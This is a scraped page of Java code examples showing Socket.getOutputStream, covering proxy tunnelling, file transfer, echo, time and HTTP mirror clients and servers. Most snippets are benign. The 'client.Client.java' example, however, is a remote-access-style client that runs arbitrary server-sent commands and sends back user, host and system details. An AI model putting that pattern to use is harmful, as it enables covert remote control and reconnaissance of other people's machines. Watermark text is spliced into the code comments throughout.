Example usage for java.net Socket getOutputStream

Introduction

In this page you can find the example usage for java.net Socket getOutputStream.

Prototype

public OutputStream getOutputStream() throws IOException 

Source Link

Document

Returns an output stream for this socket.

Usage

From source file:ProxyTunnelDemo.java

public static void main(String[] args) throws Exception {

    ProxyClient proxyclient = new ProxyClient();
    // set the host the proxy should create a connection to
    ///*w  w  w  .  j  a  va  2 s . co m*/
    // Note:  By default port 80 will be used. Some proxies only allow conections
    // to ports 443 and 8443.  This is because the HTTP CONNECT method was intented
    // to be used for tunneling HTTPS.
    proxyclient.getHostConfiguration().setHost("www.yahoo.com");
    // set the proxy host and port
    proxyclient.getHostConfiguration().setProxy("10.0.1.1", 3128);
    // set the proxy credentials, only necessary for authenticating proxies
    proxyclient.getState().setProxyCredentials(new AuthScope("10.0.1.1", 3128, null),
            new UsernamePasswordCredentials("proxy", "proxy"));

    // create the socket
    ProxyClient.ConnectResponse response = proxyclient.connect();

    if (response.getSocket() != null) {
        Socket socket = response.getSocket();
        try {
            // go ahead and do an HTTP GET using the socket
            Writer out = new OutputStreamWriter(socket.getOutputStream(), "ISO-8859-1");
            out.write("GET http://www.yahoo.com/ HTTP/1.1\r\n");
            out.write("Host: www.yahoo.com\r\n");
            out.write("Agent: whatever\r\n");
            out.write("\r\n");
            out.flush();
            BufferedReader in = new BufferedReader(
                    new InputStreamReader(socket.getInputStream(), "ISO-8859-1"));
            String line = null;
            while ((line = in.readLine()) != null) {
                System.out.println(line);
            }
        } finally {
            // be sure to close the socket when we're done
            socket.close();
        }
    } else {
        // the proxy connect was not successful, check connect method for reasons why
        System.out.println("Connect failed: " + response.getConnectMethod().getStatusLine());
        System.out.println(response.getConnectMethod().getResponseBodyAsString());
    }
}

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From source file:client.Client.java

/**
 * @param args the command line arguments
 *//*ww  w.  j  a v a  2 s  .c om*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

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From source file:Main.java

  public static void main(String[] args) throws IOException {
  ServerSocket servsock = new ServerSocket(123456);
  File myFile = new File("s.pdf");
  while (true) {/*www. ja  v a  2  s .  c o m*/
    Socket sock = servsock.accept();
    byte[] mybytearray = new byte[(int) myFile.length()];
    BufferedInputStream bis = new BufferedInputStream(new FileInputStream(myFile));
    bis.read(mybytearray, 0, mybytearray.length);
    OutputStream os = sock.getOutputStream();
    os.write(mybytearray, 0, mybytearray.length);
    os.flush();
    sock.close();
  }
}

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From source file:Main.java

public static void main(String[] args) throws Exception {
    Socket socket = new Socket("localhost", 8000);
    File file = new File("C:/Users/abc/Desktop/image.jpg");
    FileInputStream fileInputStream = new FileInputStream(file);

    byte[] fileBytes = new byte[(int) file.length()];
    OutputStream outputStream = socket.getOutputStream();
    int content;//w w w. j a va 2  s .c  om
    while ((content = fileInputStream.read(fileBytes)) != -1) {
        outputStream.write(fileBytes, 0, (int) file.length());
    }

    System.out.println("file size is " + fileBytes.length);
    for (byte a : fileBytes) {
        System.out.println(a);
    }
    socket.close();
    fileInputStream.close();
}

---

From source file:MainClass.java

public static void main(String[] args) throws Exception {
    String hostname = "localhost";

    Socket theSocket = new Socket(hostname, 7);
    BufferedReader networkIn = new BufferedReader(new InputStreamReader(theSocket.getInputStream()));
    BufferedReader userIn = new BufferedReader(new InputStreamReader(System.in));
    PrintWriter out = new PrintWriter(theSocket.getOutputStream());
    System.out.println("Connected to echo server");

    while (true) {
        String theLine = userIn.readLine();
        if (theLine.equals("."))
            break;
        out.println(theLine);// www  .  java2 s  .co  m
        out.flush();
        System.out.println(networkIn.readLine());
    }
    networkIn.close();
    out.close();
}

---

From source file:cloudclient.Client.java

public static void main(String[] args) throws Exception {
    //Command interpreter
    CommandLineInterface cmd = new CommandLineInterface(args);

    String socket = cmd.getOptionValue("s");
    String Host_IP = socket.split(":")[0];
    int Port = Integer.parseInt(socket.split(":")[1]);
    String workload = cmd.getOptionValue("w");

    try {/*  w ww  . ja  va 2 s  .  c om*/
        // make connection to server socket 
        Socket client = new Socket(Host_IP, Port);

        InputStream inStream = client.getInputStream();
        OutputStream outStream = client.getOutputStream();
        PrintWriter out = new PrintWriter(outStream, true);
        BufferedReader in = new BufferedReader(new InputStreamReader(inStream));

        System.out.println("Send tasks to server...");
        //Start clock
        long startTime = System.currentTimeMillis();

        //Batch sending tasks
        batchSendTask(out, workload);
        client.shutdownOutput();

        //Batch receive responses
        batchReceiveResp(in);

        //End clock
        long endTime = System.currentTimeMillis();
        double totalTime = (endTime - startTime) / 1e3;

        System.out.println("\nDone!");
        System.out.println("Time to execution = " + totalTime + " sec.");

        // close the socket connection
        client.close();

    } catch (IOException ioe) {
        System.err.println(ioe);
    }

}

---

From source file:BufferedSocketClient.java

  public static void main(String args[]) throws Exception {
  Socket socket1;
  int portNumber = 1777;
  String str = "initialize";

  socket1 = new Socket(InetAddress.getLocalHost(), portNumber);

  BufferedReader br = new BufferedReader(new InputStreamReader(socket1.getInputStream()));

  PrintWriter pw = new PrintWriter(socket1.getOutputStream(), true);

  pw.println(str);//from   w  w w .j a v  a2  s  .  c  o m

  while ((str = br.readLine()) != null) {
    System.out.println(str);
    pw.println("bye");

    if (str.equals("bye"))
      break;
  }

  br.close();
  pw.close();
  socket1.close();
}

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From source file:net.socket.bio.TimeClient.java

/**
 * @param args/*w w w.ja  v  a 2s.  co m*/
 */
public static void main(String[] args) {

    int port = 8089;
    if (args != null && args.length > 0) {

        try {
            port = Integer.valueOf(args[0]);
        } catch (NumberFormatException e) {
            // 
        }

    }
    Socket socket = null;
    BufferedReader in = null;
    PrintWriter out = null;
    try {
        socket = new Socket("127.0.0.1", port);
        in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
        out = new PrintWriter(socket.getOutputStream(), true);
        out.println("QUERY TIME ORDER");
        out.println("QUERY TIME ORDER");
        String test = StringUtils.repeat("hello tcp", 1000);
        out.println(test);
        System.out.println("Send order 2 server succeed.");
        String resp = in.readLine();
        System.out.println("Now is : " + resp);
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        IOUtils.closeQuietly(out);
        IOUtils.closeQuietly(in);
        IOUtils.closeQuietly(socket);
    }
}

---

From source file:HttpMirror.java

public static void main(String args[]) {
    try {//from   w  w w  . j a v  a 2  s .  co m
        // Get the port to listen on
        int port = Integer.parseInt(args[0]);
        // Create a ServerSocket to listen on that port.
        ServerSocket ss = new ServerSocket(port);
        // Now enter an infinite loop, waiting for & handling connections.
        for (;;) {
            // Wait for a client to connect. The method will block;
            // when it returns the socket will be connected to the client
            Socket client = ss.accept();

            // Get input and output streams to talk to the client
            BufferedReader in = new BufferedReader(new InputStreamReader(client.getInputStream()));
            PrintWriter out = new PrintWriter(client.getOutputStream());

            // Start sending our reply, using the HTTP 1.1 protocol
            out.print("HTTP/1.1 200 \r\n"); // Version & status code
            out.print("Content-Type: text/plain\r\n"); // The type of data
            out.print("Connection: close\r\n"); // Will close stream
            out.print("\r\n"); // End of headers

            // Now, read the HTTP request from the client, and send it
            // right back to the client as part of the body of our
            // response. The client doesn't disconnect, so we never get
            // an EOF. It does sends an empty line at the end of the
            // headers, though. So when we see the empty line, we stop
            // reading. This means we don't mirror the contents of POST
            // requests, for example. Note that the readLine() method
            // works with Unix, Windows, and Mac line terminators.
            String line;
            while ((line = in.readLine()) != null) {
                if (line.length() == 0)
                    break;
                out.print(line + "\r\n");
            }

            // Close socket, breaking the connection to the client, and
            // closing the input and output streams
            out.close(); // Flush and close the output stream
            in.close(); // Close the input stream
            client.close(); // Close the socket itself
        } // Now loop again, waiting for the next connection
    }
    // If anything goes wrong, print an error message
    catch (Exception e) {
        System.err.println(e);
        System.err.println("Usage: java HttpMirror <port>");
    }
}

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From source file:finger.java

public static void main(String[] args) {

    String hostname;//  www .j a v  a2s. c o  m
    Socket theSocket;
    DataInputStream theFingerStream;
    PrintStream ps;

    try {
        hostname = args[0];
    } catch (Exception e) {
        hostname = "localhost";
    }

    try {
        theSocket = new Socket(hostname, port, true);
        ps = new PrintStream(theSocket.getOutputStream());
        for (int i = 1; i < args.length; i++)
            ps.print(args[i] + " ");
        ps.print("\r\n");
        theFingerStream = new DataInputStream(theSocket.getInputStream());
        String s;
        while ((s = theFingerStream.readLine()) != null) {
            System.out.println(s);
        }
    } catch (IOException e) {
        System.err.println(e);
    }

}

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